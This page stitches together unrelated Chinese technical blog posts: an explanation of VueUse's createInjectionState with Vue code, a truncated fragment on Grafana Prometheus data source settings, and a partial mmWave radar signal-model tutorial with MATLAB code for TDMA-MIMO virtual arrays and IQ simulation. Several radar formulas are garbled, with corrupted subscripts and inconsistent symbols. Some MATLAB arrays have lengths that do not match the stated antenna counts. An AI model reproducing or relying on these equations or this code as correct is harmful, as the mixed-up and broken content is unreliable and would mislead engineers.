2023年5月

Provide/Inject

Provide 和 Inject 可以解决 Prop 逐级透传问题。注入值类型不会使注入保持响应性,但注入一个响应式对象,仍然有响应式的效果。

Provide 的问题是无法追踪数据的来源,在任意层级都能访问导致数据追踪比较困难,不知道是哪一个层级声明了这个或者不知道哪一层级或若干个层级使用了。

看看 VueUse 的 createInjectionState 是怎么封装 Provide 的,并且怎么避免 Provide 的问题。

介绍

createInjectionState:创建可以注入组件的全局状态。

//useCounterStore.ts
const [useProvideCounterStore, useCounterStore] = createInjectionState(
  (initialValue: number) => {
    // state
    const count = ref(initialValue)

    // getters
    const double = computed(() => count.value * 2)

    // actions
    function increment() {
      count.value++
    }

    return { count, double, increment }
  })

export { useProvideCounterStore }
// If you want to hide `useCounterStore` and wrap it in default value logic or throw error logic, please don't export `useCounterStore`
export { useCounterStore }
<!-- RootComponent.vue -->
<script setup lang="ts">
  import { useProvideCounterStore } from './useCounterStore'

  useProvideCounterStore(0)
</script>

<template>
  <div>
    <slot />
  </div>
</template>
<!-- CountComponent.vue -->
<script setup lang="ts">
import { useCounterStore } from './useCounterStore'

// use non-null assertion operator to ignore the case that store is not provided.
const { count, double } = useCounterStore()!
// if you want to allow component to working without providing store, you can use follow code instead:
// const { count, double } = useCounterStore() ?? { count: ref(0), double: ref(0) }
// also, you can use another hook to provide default value
// const { count, double } = useCounterStoreWithDefaultValue()
// or throw error
// const { count, double } = useCounterStoreOrThrow()
</script>

<template>
  <ul>
    <li>
      count: {{ count }}
    </li>
    <li>
      double: {{ double }}
    </li>
  </ul>
</template>

源码

/**
 * Create global state that can be injected into components.
 *
 * @see https://vueuse.org/createInjectionState
 *
 */
export function createInjectionState<Arguments extends Array<any>, Return>(
  composable: (...args: Arguments) => Return,
): readonly [useProvidingState: (...args: Arguments) => Return, useInjectedState: () => Return | undefined] {
  const key: string | InjectionKey<Return> = Symbol('InjectionState')
  const useProvidingState = (...args: Arguments) => {
    const state = composable(...args)
    provide(key, state)
    return state
  }
  const useInjectedState = () => inject(key)
  return [useProvidingState, useInjectedState]
}

思考

为什么返回的是数组

createInjectionState 返回的数组,使用 demo 中采用的数组解构的方式。那么数组解构和对象解构有什么区别么?

提到数组解构首先想到的是 react 的 useState。

const [count,setCount] =useState(0)

之所以用数组解构是因为在调用多个 useState 的时候,方便命名变量。

const [count,setCount] =useState(0)
const [double, setDouble] = useState(0);

如果用对象解构,代码会是

const {state:count,setState:setCount} =useState(0)
const {state:double, setState:setDouble} = useState(0);

相比之下数组显得代码更加简洁。

数组解构也有缺点:返回值必须按顺序取值。返回值中只取其中一个,代码就很奇怪。

const [,setCount] =useState(0)

因此数组解构时适合使用所有返回值,并且多次调用方法的情况;对象解构适合只使用其中部分返回值,并且一次调用方法的情况。

createInjectionState 创建的注入状态 key 是 Symbol('InjectionState'),也就是每次运行的 key 都不一样,有可能多次调用 createInjectionState,因此 createInjectionState 采用数组解构的方式。但使用返回值可能只使用 useInjectedState,所有在 useCounterStore.ts 中又将 useProvideCounterStore 和 useInjectedState 以对象的方式导出避免出现下面奇怪的写法。

const [,useCounterStore] =useCounterStore()

使用例子中的 state 结构

使用案例中将 provide 中的对象分为 state、getters、actions。结构很想 vuex,而 useProvideCounterStore 相当于 vuex 中的 mutation。采用这种结构是因为 provide 的缺点:无法追踪数据的来源,在任意层级都能访问导致数据追踪比较困难,不知道是哪一个层级声明了这个或者不知道哪一层级或若干个层级使用了。

采用类似 vuex 的结构能相对比较好的追踪状态。

 // state
  const count = ref(initialValue)

  // getters
  const double = computed(() => count.value * 2)

  // actions
  function increment() {
    count.value++
  }

readonly

createInjectionState 返回的数组是 readonly 修饰的,useInjectedState 返回的对象并没有用 readonly 修饰,provide/inject 的缺点就是状态对象不好跟踪,容易导致状态变更失控。既然提供了 useProvidingState 修改状态的方法,useInjectedState 返回的状态如果是只读的能更好防止状态变更失控。

系列文章

Grafana Prometheus 数据源

Grafana 提供了对 Prometheus 的内置支持。本文会介绍 Grafana Prometheus(也包括 Prometheus 的兼容实现,如 Thanos, Mimir 等) 数据源的部分选项、变量 (Variable)、查询 (Query) 和其他针对 Prometheus 数据源的功能。

配置 Prometheus 数据源

这里选择几项重要的部分进行说明:

  • URL
    : Prometheus Server 的 URL, 示例为:
    http://prometheus.example.org:9090
    (不需要 path 等信息)
  • Manage alerts via Alerting UI
    : 启用后可以集成 AlertManager, Grafana 可以显示、管理 AlertManager。启用后,可以选择对应的 Prometheus AlertManager 数据源
    • Alertmanager data source
      : 下拉框,选择对应的 Prometheus AlertManager 数据源
  • Type
    : Prometheus Server 的类型;包括
    Prometheus
    ,
    Cortex
    ,
    Thanos
    ,
    Mimir
    。当选择时,版本字段会尝试使用 Prometheus buildinfo API 自动填充。一些普罗米修斯类型,如 Cortex,不支持这个 API,必须手动填入。
  • Disable metrics lookup
    : 勾选该选项将禁用查询字段自动完成中的度量选择器和度量/标签支持。如果你在较大的 Prometheus 实例中遇到性能问题,这将有所帮助。
  • Custom query parameters
    : 在 Prometheus 查询 URL 中添加自定义参数。例如,
    timeout

    partial_response

    dedup
    、或
    max_source_resolution
    。多个参数应该用
    &
    连接起来。
    • 如:
      max_source_resolution=5m&timeout=10

配置 Exemplars


写在前面

​ 深知新手在接触毫米波雷达板硬件时需要花费的沉没成本,因此在行将告别毫米波雷达之际,总结这两年以来在毫米波雷达上的一些经验和教训。

​ 本文档用于为实现基于
AWR1243BOOST
等单板毫米波雷达开发提供参考指南与解决方案,主要包括
硬件配置

基础参数

信号模型

应用DEMO开发
以及
可深入研究方向思考
等;为更好地匹配后续级联雷达应用的学习路线,在本手册中会尽可能同化单板雷达和级联雷达中的相关表述。

​ 本指南作者信息:
Xuliang
,联系方式:
xxxxxxxxx@xxx.edu.cn
。未经本人允许,请勿用于商业和学术用途。

​ 希望后者在使用本指南时可以考虑引用作者在毫米波雷达旅途中的相关工作,如本文参考文献[1].
本章节为信号模型章节,主要解读
时域信号模型

空域信号模型

信号处理栈

往期内容:
眼观四海:自动驾驶&4D成像毫米波雷达 如今几何?
扬帆起航:毫米波雷达开发手册之硬件配置
初出茅庐:毫米波雷达开发手册之基础参数

信号模型分析

时域信号模型

image

如图所示,雷达收发器(TRX)目前通常被实现为单个单片微波集成电路(MMIC)或甚至包括数字功能的片上系统(SoC),其生成雷达发射(TX)波形并经由连接到其TX信道的天线辐射该波形。电磁波通过空间传播,直到它命中一个或多个目标。假设目标的各向同性辐射,与目标雷达截面(RCS)成比例的入射波通量密度的一部分被捕获并朝向雷达再辐射。根据经典理论,目标通常被假设为孤立的点状散射体即点目标,如汽车、行人或环境之类的物理对象由若干点状目标组成,并且各个目标响应的总和则是总体接收(RX)信号。

通过比较雷达的TX和RX信号,可以估计出感知任务的基本参数:目标数目
\(K_{tgt}\)
和每个目标
\(k_{tgt}\)
的目标距离
\(r_{k_{tgt}}\)
,目标径向速度
\(v_{r_{k_{tgt}}}\)
,方位角
\(\phi_{k}\)
和俯仰角
\(\epsilon_k\)
。在每个测量周期中检测到的目标集合被称为目标列表,并且可以被解释为从雷达测量获得的点云。后续的毫米波雷达信号处理步骤主要有是聚类(即识别属于同一物理目标)、跟踪(即从目标列表的序列中导出物理上存在的对象的信息和统计数据)。
本章节的核心是介绍TDMA-MIMO框架下的信号模型仿真及实现方法。

本文所研究的模型与快速线性调频调频连续波(FMCW)雷达相关,这是目前智能驾驶、智能家居领域中所使用的主要雷达波形。如下图所示为典型的由Q个
chirp
组成的
chirp序列
构成的发射波形(绿色部分)和来自单个目标的接受波形信号(蓝色部分)。

image

发射信号
\(s(t)\)
由以
chirp-chirp
间隔的为
\(T_{cc}\)

\(Q\)
个线性调频脉冲波形
\(s_c(t)\)
的序列给出:

\[s(t)=\sum\limits_{q=1}^Q s_{\mathrm{c}}(t-q T_{\mathrm{cc}})
\]

其中脉冲持续时间为
\(T_c\)
的每个
chirp
的信号表示为:

\[s_\mathrm{c}(t)=e^{j(2\pi f_1t+\pi\mu t^2+\varphi_0)}\mathrm{rect}\left(\frac{t-T_\mathrm{c}/2}{T_\mathrm{c}}\right).
\]

其中,
chirp
斜率为
\(\mu\)
,起始频率为
\(f_1\)
,截止频率为
\(f_h=f_l+W\)

\(W=\mu T_c\)
表示
chirp
的带宽,
chirp
的中心频率
\(f_c\)
定义为
\(f_1+W/2\)
,一帧
chirp
序列的长度或称帧周期为
\(T_{seq}=QT_{cc}-(T_{cc}-T_c)\)

每个点目标作为发射信号
\(s(t)\)
的时延副本以加权形式参与到接收信号
\(r(t)\)
中,其表示形式如下:

\[r(t)=\sum_{k_{t g t}=1}^{K_{t g t}}a_{k_{t g t}}s(t-T_{\mathrm{d},k}(t))
\]

其中,目标衰减系数
\(a_{k_{tgt}}\)
是由于自由空间传播和目标
RCS
引起的系数加权,往返时间
\(T_{d,k}(t)\)
是时间相关的,因为这考虑了目标的移动,通常帧周期为几毫秒或更小,与目标速度相比较短,无法形成积累效应。因此,
\(T_{\mathrm{d},k}(t))\)
可以近似表示为:

\[T_{\mathrm{d},k}(t)=\frac{2r_{k_\mathrm{tgt}}+2v_{r,k_\mathrm{tgt}}t}{c_0}.
\]

FMCW
雷达的基本原理是,发射信号
\(s(t)\)
和接收信号
\(r(t)\)
相乘混频,混频后通过低通滤波器
LPF
以滤除在和频(约两倍载波频率)处振荡的和分量,保留低通滤波信号即中频信号
IF Signal
,然后与发射信号定时同步地
ADC
采样。对于每个
chirp

ADC
采样将生成
P
个样本的向量,这意味着
\(Q\)
个线性调频脉冲的采样将生成
\(Q\)
个向量,并且每个向量长度为
\(P\)
,以二维矩阵
\({\mathcal{B}}=(b_{p,q}),{\mathcal{B}}\in{{\mathbb{C}}^{P\times Q}}\)
的形式存储,每个元素为
\(b_{p,q}\)

\(p\)
所在的维度称为快时间维,
\(q\)
所在的维度称为慢时间维度,这在上一节内容中已经提及。

基于所给的调制参数,可以将二维矩阵
\({\mathcal{B}}\)
的每个元素
\(b_{p,q}\)
展开如下:

\[b[p,q]\approx\sum_{k_1\mathfrak{g}=1}^{k_1}a_{k_1\mathfrak{g}n}e^{j(\lambda_{k_1\mathfrak{g}n}p+\zeta_{k_1\mathfrak{g}n}q)}e^{j\varphi_{k_1\mathfrak{g}n}}+\omega[p,q].
\]

其中,对应距离维度的归一化角频率可表示如下:

\[\lambda_{k_\mathrm{tgt}}=2\pi\left(\frac{2\mu r_{k_\mathrm{tgt}}}{c_0}+f_{\mathrm{d},k}\right)T_\mathrm{s},
\]

对应多普勒维度的归一化角频率可表示如下:

\[\xi_{k_{\mathrm{tgt}}}=2\pi\left(\frac{2f_{\mathrm{c}}v_{r,k_{\mathrm{tgt}}}}{c_{0}}\right)T_{\mathrm{cc}}
\]

目标的初始相位则可表示如下:

\[\varphi_{k_\mathrm{tgt}}=\frac{2f_c r_{k_\mathrm{tgt}}}{c_0}.
\]

空域信号模型

为了建立与目标方位角和仰角的关系,可以使用
\(N_{RX}\)
个接收天线的阵列,这将被称为单输入多输出(
SIMO
)配置;为了进一步提高角分辨率,在共同定位的相干
MIMO
配置中的若干发射和接收天线可用于现代毫米波雷达中,形成
\(N=N_{TX}N_{RX}\)
的虚拟接收阵列。

下图提供了一种基于三发四收的物理天线配置可能和
MIMO
后的虚拟阵列效果,左边天线标记为接收天线,右边天线标记为发射天线,可以很明显地看到
TX

TX1/TX2
在俯仰维度上存在偏移量,​
RX2
和其他三根接收天线在俯仰维度上存在偏移量。
image

为更好地理解
MIMO
机制,下面将手把手推导如何得到虚拟阵列图(假设每个方格代表阵元间距
d
)。

  • TX1
    在四根接收天线上形成的水平相位为
    [0 w 2w 3w]
    ,俯仰相位为
    [0 w 0 0]

  • TX2
    在四根接收天线上形成的水平相位为
    [w 2w 3w 4w]
    ,俯仰相位为
    [0 w 0 0]

  • TX3
    在四根接收天线上形成的水平相位为
    [2w 3w 4w 5w]
    ,俯仰相位为
    [2w 3w 2w 2w]

  • 匹配上面的推导和下图中的右下边虚拟阵列,可以发现结果一致。这种推导在小阵列情况下容易实现,但是随着阵元数目的增加则容易出错,这是因为可能存在冗余阵元,如
    TI AWR2243Cascade
    具有12个发射天线和16个接收天线,实际在方位维度仅有86个虚拟阵元。为了排列准确,笔者写了以下程序来实现
    物理阵元

    虚拟阵列
    的精确映射。

    function cfgOut = ConfigureRTX()
    	% 下面这个程序实现了不同级联雷达的物理发射阵元和接收阵元配置,并考虑了天线发射顺序(这对虚拟阵元的排列影响不大,但会影响adc数据中的数据排列)。
    	% 实际的阵元间距可能与下面的存在误差,以下板子参数多为本人估算所得。
    	% 具体代码结合注释和上下文语句进行分析,这里不再赘述。
    	% By Xuliang
    	
        cfgOut.Mode = 4; % 选择需要仿真的雷达模式 这里提供了6种毫米波雷达配置,分别为TI
        
        if cfgOut.Mode == 1 
            disp(strcat(['=====','已选择TI AWR1243-单板雷达模式','====='])); % 单板雷达模式3T4R
            cfgOut.numTx = 3;
            cfgOut.numRx = 4;  
            
            cfgOut.PosTX_X = [0 2 4]; % 发射天线水平方向阵元间距
            cfgOut.PosTX_Y = [0 1 0]; % 发射天线垂直方向阵元间距
            cfgOut.PosTX_BOARD_ID = [1 2 3]; % 发射天线板上顺序 后面没用到
            cfgOut.PosTX_Trans_ID = [1 3 2]; % 发射天线发射顺序 
            
            cfgOut.PosRX_X = [0 1 2 3]; % 接收天线水平方向阵元间距
            cfgOut.PosRX_Y = [0 0 0 0]; % 接收天线垂直方向阵元间距
            cfgOut.PosRX_BOARD_ID = [1 2 3 4]; % 接收天线板上顺序
            
        elseif cfgOut.Mode == 2
            disp(strcat(['=====','已选择TI AWR2243-级联雷达模式','====='])); % 级联雷达模式12T16R
            cfgOut.numTx = 12;
            cfgOut.numRx = 16;
            cfgOut.PosTX_X = [11 10 9 32 28 24 20 16 12 8 4 0];
            cfgOut.PosTX_Y = [6 4 1 0 0 0 0 0 0 0 0 0]; 
            cfgOut.PosTX_BOARD_ID = [12 11 10 3 2 1 9 8 7 6 5 4]; 
            cfgOut.PosTX_Trans_ID = [12:-1:1]; 
            
            cfgOut.PosRX_X = [11 12 13 14 50 51 52 53 46 47 48 49 0 1 2 3];
            cfgOut.PosRX_Y = zeros(1,cfgOut.numRx); 
            cfgOut.PosRX_BOARD_ID = [13 14 15 16 1 2 3 4 9 10 11 12 5 6 7 8]; 
            
        elseif cfgOut.Mode == 3  % 这个模式为特斯拉6T8R级联板
        	disp(strcat(['=====','已选择特斯拉6T8R-级联雷达模式','=====']));
            cfgOut.numTx = 6;
            cfgOut.numRx = 8;
            cfgOut.PosTX_X = [0 17 34 41 48 55];
            cfgOut.PosTX_Y = [0 0 0 0 4 8 12]; 
            cfgOut.PosTX_BOARD_ID = [1 2 3 4 5 6]; 
            cfgOut.PosTX_Trans_ID = [1 2 3 4 5 6]; 
            
            cfgOut.PosRX_X = [0 2 3 5 8 11 14 17];
            cfgOut.PosRX_Y = zeros(1,cfgOut.numRx); 
            cfgOut.PosRX_BOARD_ID = [1 2 3 4 5 6 7 8]; 
            
        elseif cfgOut.Mode == 4 % 这个模式为加特兰 4T4R单板
        	disp(strcat(['=====','已选择加特兰4T4R-单板雷达模式','=====']));
            cfgOut.numTx = 4;
            cfgOut.numRx = 4;
            cfgOut.PosTX_X = [0 5 12 18];
            cfgOut.PosTX_Y = [5 0 0 0]; 
            cfgOut.PosTX_BOARD_ID = [1 2 3 4]; 
            cfgOut.PosTX_Trans_ID = [4 3 2 1]; 
            
            cfgOut.PosRX_X = [0 2 5 7];
            cfgOut.PosRX_Y = [0 0 0 2]; 
            cfgOut.PosRX_BOARD_ID = [1 2 3 4]; 
            
        elseif cfgOut.Mode == 5 % 这个模式为福瑞泰克 6T8R级联板
        	disp(strcat(['=====','已选择福瑞泰克6T8R-级联雷达模式','=====']));
            cfgOut.numTx = 6;
            cfgOut.numRx = 8;
            cfgOut.PosTX_X = [0 2 4 6 8 10];
            cfgOut.PosTX_Y = [0 0 0 0 0 0]; 
            cfgOut.PosTX_BOARD_ID = [1 2 3 4 5 6]; 
            cfgOut.PosTX_Trans_ID = [6 5 4 3 2 1]; 
            
            cfgOut.PosRX_X = [0 2 5 13 13+ones(1,4)*1] + [0 0 0 0 0 2 5 13]; % 暂时不确定双级联间距
            cfgOut.PosRX_Y = [1 0 0 0 1 0 0 0 0]; 
            cfgOut.PosRX_BOARD_ID = [1 2 3 4 5 6 7 8]; 
            
        elseif cfgOut.Mode == 6 % 这个模式为TI双级联毫米波雷达
        	disp(strcat(['=====','已选择TI 6T8R-级联雷达模式','=====']));
            cfgOut.numTx = 6;
            cfgOut.numRx = 8;
            cfgOut.PosTX_X = [0 2 4 7 11 15];
            cfgOut.PosTX_Y = [0 1.6 0 0 0 0]; 
            cfgOut.PosTX_BOARD_ID = [1 3 2 4 5 6]; 
            cfgOut.PosTX_Trans_ID = [6 5 4 3 2 1]; 
            
            cfgOut.PosRX_X = [0 1 2 3 19 20 21 22];
            cfgOut.PosRX_Y = [0 0 0 0 0 0 0 0 0]; 
            cfgOut.PosRX_BOARD_ID = [1 2 3 4 5 6 7 8]; 
            
        end
        
        virtual_azi_arr = repmat(cfgOut.PosTX_X(cfgOut.PosTX_Trans_ID), cfgOut.numRx, 1) + repmat(cfgOut.PosRX_X(cfgOut.PosRX_BOARD_ID), cfgOut.numTx, 1).';
        virtual_ele_arr = repmat(cfgOut.PosTX_Y(cfgOut.PosTX_Trans_ID), cfgOut.numRx, 1) + repmat(cfgOut.PosRX_Y(cfgOut.PosRX_BOARD_ID), cfgOut.numTx, 1).';
        
        virtual_array.azi_arr = reshape(virtual_azi_arr,[],1);
        virtual_array.ele_arr = reshape(virtual_ele_arr,[],1);
        virtual_array.tx_id = reshape(repmat(cfgOut.PosTX_Trans_ID, cfgOut.numRx, 1),[],1);
        virtual_array.rx_id = reshape(repmat(cfgOut.PosRX_BOARD_ID, cfgOut.numTx, 1).',[],1);
        virtual_array.virtual_arr = cat(2,virtual_array.azi_arr,virtual_array.ele_arr,virtual_array.rx_id,virtual_array.tx_id);
        
        cfgOut.virtual_array = virtual_array; % 将virtual_array参数存入更新
        
    end   
       
    

    % 测试文件:可视化虚拟阵元排列
    % By Xuliang
    
    clc;clear;close all
    
    cfgOut = ConfigureRTX();
    plot(cfgOut.virtual_array.virtual_arr(:,1), cfgOut.virtual_array.virtual_arr(:,2),'ro');
    xlabel('方位维');ylabel('俯仰维');grid minor;
    % 这里不再进行可视化。
    

在上一章节中,我们可以得到单信道下的时域信号模型为
\(b[p,q]\approx\sum_{k_1\mathfrak{g}=1}^{k_1}a_{k_1\mathfrak{g}n}e^{j(\lambda_{k_1\mathfrak{g}n}p+\zeta_{k_1\mathfrak{g}n}q)}e^{j\varphi_{k_1\mathfrak{g}n}}+\omega[p,q].\)
$

假设目标满足远场窄带信号假设,那么可进一步扩展时域信号至空域信号如下:

\[b[p,q,n]\approx\sum_{k\text{g}s=1}^{K_\text{g}t}a_{k\text{g}t}e^{i(\lambda_{k\text{g}t}p+\zeta_{k\text{g}s}q)}e^{i\varphi_{k\text{g}t}}e^{j\frac{2\pi}{\lambda}(\mathfrak{u}_{k\text{g}s}\mathfrak{p}_n)}+\omega[p,q,n].
\]

上述信号对应于雷达
3D tensor

radar cube
数据的元素,根据
ISO8000:2标准
定义的球面坐标系,目标
\(k_{tgt}\)
对应的单位长度波达角矢量可以表示如下:

\[\mathbf{u}_k=\mathbf{r}_{k_\textrm{tgt}}/\|\mathbf{r}_{k_\textrm{tgt}}\|=\begin{bmatrix}\cos\phi_{k_\textrm{tgt}}\sin\theta_{k_\textrm{t}}\\ \sin\phi_{k_\textrm{gt}}\sin\theta_{k_\textrm{tgt}}\\ \cos\theta_{k_\textrm{tgt}}\end{bmatrix}
\]

image

其中,
\(\phi_{k_\textrm{tgt}}\)

\(\theta_{k_\textrm{tgt}}\)
分别表示目标的方位角和倾斜角,俯仰角则表示为
\(\epsilon_{k_{tgt}}=\pi-\theta_{k_{tgt}}\)
;虚拟天线的位置
\(p_n\)
可以表示如下(
\(n=0....N-1\)

\[\mathbf{p}_n=\mathbf{p}_{\mathrm{RX},n_{\mathrm{RX}}}+\mathbf{p}_{\mathrm{TX},n_{\mathrm{TX}}},n_{\mathrm{RX}}=n\bmod N_{\mathrm{RX}},\quad n_{\mathrm{TX}}=n\bmod N_{\mathrm{TX}}
\]

至此,我们可以很明确地建立目标角度和模型
\(e^{(2\pi/\lambda)\mathbf{u}_{k_\mathrm{tgt}}\mathbf{p}_n}\)
有关,上面提到的目标初始相位
\(\varphi_{k_\mathrm{tgt}}=\frac{2f_c r_{k_\mathrm{tgt}}}{c_0}\)
可以衡量目标在参考坐标系原点处出现的相位,不大影响角度的估计。

基于以上信号模型,我们可以生成
TDMAI-MIMO
下的
radar cube
数据文件,核心代码如下所示:

function [signal] = GenerateSigIQ(tarOut, cfgOut)
    %% 本文件用于毫米波雷达的ADC-IQ信号
    %% By Xuliang
    tarNum = tarOut.nums; % 目标数目
    numTx = cfgOut.numTx; % 发射天线数目
    numRx = cfgOut.numRx; % 接收天线数目
    
    ADCNum = cfgOut.ADCNum; % ADC采样数目
    Frame = cfgOut.Frame; % 帧数
    ChirpNum = cfgOut.ChirpNum; % 每帧发射Chirp数目
    TotalChirpNum = Frame * ChirpNum; % 总Chirp数目
    
    % 信号参数
    fc = cfgOut.fc; % 载频 Hz
    fs = cfgOut.fs; % ADC采样频率 Hz 
    Ramptime = cfgOut.Ramptime; % 工作时间
    Idletime = cfgOut.Idletime; % 空闲时间
    Slope = cfgOut.Slope; % Chirp斜率
    validB = cfgOut.validB; % 实际有效带宽
    totalB = cfgOut.totalB; % 完整带宽
    Tc = cfgOut.Tc; % 单Chirp周期
    ValidTc = cfgOut.ValidTc; % 单Chirp内ADC有效采样时间
    
    % 硬件参数
    Pt = cfgOut.Pt; % dbm 发射功率
    Fn = cfgOut.Fn; % 噪声系数
    Ls = cfgOut.Ls;  % 系统损耗
    
    % 天线阵列
    antennaPhase = cfgOut.antennaPhase; % 天线相位
    virtual_array = cfgOut.virtual_array; % 虚拟阵列 这里的虚拟阵列是struct virtual_arr中包含了发射方位相位和俯仰相位 接收天线 发射天线顺序 
    arr = virtual_array.virtual_arr;
    
    % 初阶版本顺序发射可行
%     arr = cfgOut.array; % 虚拟阵元排列
    arrNum = size(arr, 1); % 虚拟阵列数目
    arrdelay = zeros(1, arrNum) + Tc * reshape(repmat([0:numTx-1], numRx,1), 1, arrNum); % [0 0 0 0 1 1 1 1 2 2 2 2]
%     arrdelay = zeros(1, arrNum); % 这一项相当于常数项 本来考虑的是天线间时延
    
    delayTx = Tc * numTx; % 发射天线维度积累的时延
    arrdx = cfgOut.arrdx; % 归一化阵元间距
    arrdy = cfgOut.arrdy; 
    
    c = physconst('LightSpeed'); % 光速
    lambda = c / fc; % 波长
    Ts = 1 / fs; % ADC采样时间
    
    % 信号模型
    signal = zeros(ADCNum, TotalChirpNum, arrNum); % 信号
    
    noiseI = normrnd(0, 1, ADCNum, TotalChirpNum, arrNum); % 正态噪声
    noiseQ = normrnd(0, 1, ADCNum, TotalChirpNum, arrNum); % 正态噪声
%     noiseI = exprnd(1, ADCNum, TotalChirpNum, arrNum); % 指数分布噪声
%     noiseQ = exprnd(1, ADCNum, TotalChirpNum, arrNum); % 指数分布噪声
    for tarId = 1 : tarNum
        disp(strcat(['正在获取目标',num2str(tarId),'的数据']));
        % 目标参数
        targetR = tarOut.range(tarId);    % 距离 m
        targetV = tarOut.velocity(tarId); % 速度 m/s
        targetAzi = tarOut.Azi(tarId);    % 目标方位角 度
        targetEle = tarOut.Ele(tarId);    % 目标俯仰角 度
        targetRCS = tarOut.RCS(tarId);    % 目标RCS值
        targetGt  = tarOut.Gt(tarId);     % 发射增益 
        targetGr  = tarOut.Gr(tarId);     % 接收增益 
        [tarSNR] = CalculateSNR(targetR, targetRCS, targetGt, targetGr, lambda, Pt, Fn, Ls, validB); % 信噪比
        A = sqrt(2 * db2pow(tarSNR)); % 信号幅度
        
        targPhi0 = rand * 2 * pi; % 产生随机相位[0 2*pi] 这里的目标初始相位也可以根据上面定义的形式来写 但影响不大

        tempSigI = zeros(ADCNum, TotalChirpNum, arrNum); % I路缓存信号
        tempSigQ = zeros(ADCNum, TotalChirpNum, arrNum); % Q路缓存信号
        tempSig = zeros(ADCNum, TotalChirpNum, arrNum); % I路缓存信号
        
        for channelId = 1 : arrNum
            for chirpId = 1 : TotalChirpNum
                for adcId = 1 : ADCNum
                    % 动目标时延
                    tarDelay = 2 * targetR / c + 2 * targetV * ((chirpId - 1) * delayTx + arrdelay(channelId) + adcId * Ts) / c; 
                    
                    % 控制来波方向
                    % 初阶版本的目标相位表达
%                     tarPhi = targPhi0 + 2 * pi * (arr(1, channelId) * sind(targetAzi) * arrdx + ...
%                             arr(2, channelId) * sind(targetEle) * arrdy) + deg2rad(antennaPhase(channelId)); % 考虑阵元初始、随机相位和目标波达角

%					tarPhi0 = 2 * targetR * fc  / c; % 目标初始相位 也可以用随机相位

                    tarPhi = targPhi0 + 2 * pi * (arr(channelId) * sind(targetAzi) * arrdx + ...
                            arr(arrNum+channelId) * sind(targetEle) * arrdy) + deg2rad(antennaPhase(channelId)); % 这里考虑了不同发射顺序天线相位

                    % 中频信号:exp[1j * 2 *pi * fc * tau + 2 * pi * S * t * tau - pi * tau * tau]  t的范围为0-Tc tau的范围为t+nTc
                    tempSigI(adcId, chirpId, channelId) = A * cos(2 * pi * (fc * tarDelay + Slope * tarDelay * adcId * Ts - Slope * tarDelay * tarDelay / 2) + tarPhi);
                    tempSigQ(adcId, chirpId, channelId) = A * sin(2 * pi * (fc * tarDelay + Slope * tarDelay * adcId * Ts - Slope * tarDelay * tarDelay / 2) + tarPhi);
                    tempSig(adcId, chirpId, channelId) = tempSigI(adcId, chirpId, channelId) + 1j * tempSigQ(adcId, chirpId, channelId);
                end
            end
        end
        signal = signal + tempSig; % 多目标信号相加
    end
    signal = signal - (noiseI + noiseQ); % 考虑噪声
%     signal = reshape(signal, size(signal,1), size(signal,2), numRx, numTx);
end

信号处理栈


在上一章节,我们已经得到了
radar cube
数据,这个数据和毫米波雷达
ADC
数据是异曲同工的。那么,针对现有数据可以展开信号处理栈的分析,简言之,传统的信号处理栈为
RDA
,如本文开篇的图所示。

首先,沿着
radar cube
数据的快时间和慢时间维度分别使用FFT(快速傅立叶变换)的到距离多普勒域数据
RDD
,这可以表示为如下形式:

\[x_n(\lambda,\zeta)=\sum_{k_{tgt}=1}^{K_\text{tgt}}a_{k_{tgt}}{k_{tgt}}W_{\text{ft}}(\lambda-\lambda_{k_{tgt}})W_{\text{st}}(\zeta-\zeta_{k_{tgt}})e^{j\varphi_{k_{tgt}}}\cdot e^{j\frac{2\pi}{\lambda}(\mathbf{u}_{k\mathrm{tgt}}\cdot\mathbf{p}_n)}+\Omega_n(\lambda,\zeta)
\]

其中
\(W_{ft}(\lambda)\)

\(W_{st}(\zeta)\)
分别表示在快时间和慢时间维度上应用的窗函数傅里叶变换,这实现了信号移位至目标对应的距离维和多普勒峰值频率处:
\(\lambda_{k_{tgt}}\)

\(\zeta_{k_{tgt}}\)
。目标初始相位项
\(e^{j\varphi_{k_{tgt}}}\)
和相位分布项
\(e^{j\frac{2\pi}{\lambda}(\mathbf{u}_{k\mathrm{tgt}}\cdot\mathbf{p}_n)}\)
保持不变,这是因为沿距离-多普勒维度的傅里叶变换并不影响天线维度的相位信息。
\(\Omega_n(\lambda,\zeta)\)
则表示频域噪声。

为了进一步对距离-多普勒变换后的信号处理,将上述混合信号表示为如下形式:

设距离多普勒域的
radar cube
的元素为
\(x_{l,m,n}~~=~~x[l,m,n]\)
,快时间和慢时间维度的FFT点数对应
\({P_{\mathrm{FFT}}}\)

\({Q_{\mathrm{FFT}}}\)

\[\lambda=\frac{2\pi}{P_{\mathrm{FFT}}}l,\quad\zeta=\frac{2\pi}{Q_{\mathrm{FFT}}}m,\quad x[l,m,n]=x_n\left(\frac{2\pi}{P_{\mathrm{FFT}}}l,\frac{2\pi}{Q_{\mathrm{FFT}}}m\right).
\]


其次,我们需要对距离-多普勒域的
radar cube
进行目标检测,这通常用恒虚警率检测算法(
cfar, constant false alarm rate
)来实现,在正式进行检测前,我们需要对
radar cube
沿天线维度展开,通常可以选择一个天线通道对应的距离多普勒数据或使用所有天线通道的距离多普勒数据进行非相干积累处理(波束成形)得到
cfar
检测输入数据,这个过程可以表示如下:(下面第一式为方法1,第二式为方法2,
\(N_{det}\)
为单天线通道,
\(N^\prime\)
为全部天线通道)

\[X^\prime=|x'[l,m]|^2=|x[l,m,n=N_{\det}]|^2
\]

\[X^\prime=|x'[l,m]|^2=\sum\limits_{n\in N'}|x[l,m,n]|^2
\]

那么,现在我们可以对处理后的距离多普勒矩阵
\(X^\prime\)
进行
cfar
检测。通常,
cfar
检测针对数据维度可以分为
1D-cfar

2D-cfar
,针对处理思想可以分为
均值类、有序统计类、自动筛选类和自适应类
(这部分详细细节可以参考
何友院士和关键老师

雷达目标检测与恒虚警处理
书,后续会整理我的
本科毕设
中关于这方面的内容)。实际上,我们可以考虑两次
1D-CFAR
即对距离多普勒矩阵
\(X^\prime\)
的距离和多普勒维度分别作
cfar
并关联匹配目标,或者考虑1次
2d-cfar
即直接在二维距离多普勒矩阵
\(X^\prime\)
上作二维检测,这里我们主要用
2d-cfar
来检测目标。

在下面我们通过
2D-CFAR
示意图来更好地理解原理。浅蓝色单元构成的大矩形区域为输入的距离-多普勒矩阵
\(X^\prime\)
